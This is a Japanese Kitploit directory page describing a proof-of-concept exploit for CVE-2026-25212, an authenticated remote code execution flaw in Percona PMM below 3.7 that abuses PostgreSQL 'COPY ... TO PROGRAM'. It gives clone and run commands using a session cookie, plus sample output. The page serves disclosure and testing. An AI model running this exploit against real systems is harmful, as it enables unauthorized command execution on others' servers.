Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-25212 — CVE-2026-25212 の PoC | Kitploit
ツール/GitHubGitHub/5170temp/cve-2026-25212
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド＆コントロールデータベースセキュリティ
GitHub5170temp/cve-2026-25212

CVE-2026-25212

CVE-2026-25212 の PoC

リポジトリを見る
212ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-25212 – Percona PMM RCE PoC

重大 – CVSS 9.9 – PMM < 3.7 における認証済みリモートコード実行

説明

この実証コードは、PMM の内部 PostgreSQL ユーザーが 'SUPERUSER' 権限を保持している脆弱性を悪用します。認証された攻撃者（'pmm-admin' 権限を持つ）は、「データソースの追加」機能を悪用し、PostgreSQL の 'COPY ... TO PROGRAM' を使用して任意の OS コマンドを実行できます。

影響を受けるバージョン: PMM < 3.7
修正バージョン: PMM 3.7 (以降)

必要条件

  • Python 3.6+
  • requests (pip install requests)

使用法

root@kitploit:~
git clone https://github.com/5170Temp/CVE-2026-25212
cd CVE-2026-25212
pip install requests

COOKIE_VALUE はあなたの grafana_session Cookie の値です。例: 3131e17e1653ee4eeceb703fac45c717

root@kitploit:~
python3 poc.py -t https://pmm.example.com --cookie "COOKIE_VALUE" -c "id"

出力例:

root@kitploit:~
[+] UID: krfbxa-Dk
base
global
pg_commit_ts
pg_dynshmem
pg_hba.conf
pg_ident.conf
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
PG_VERSION
pg_wal
pg_xact
postgresql.auto.conf
postgresql.conf
postmaster.opts
postmaster.pid
[+] Done
ツールをダウンロード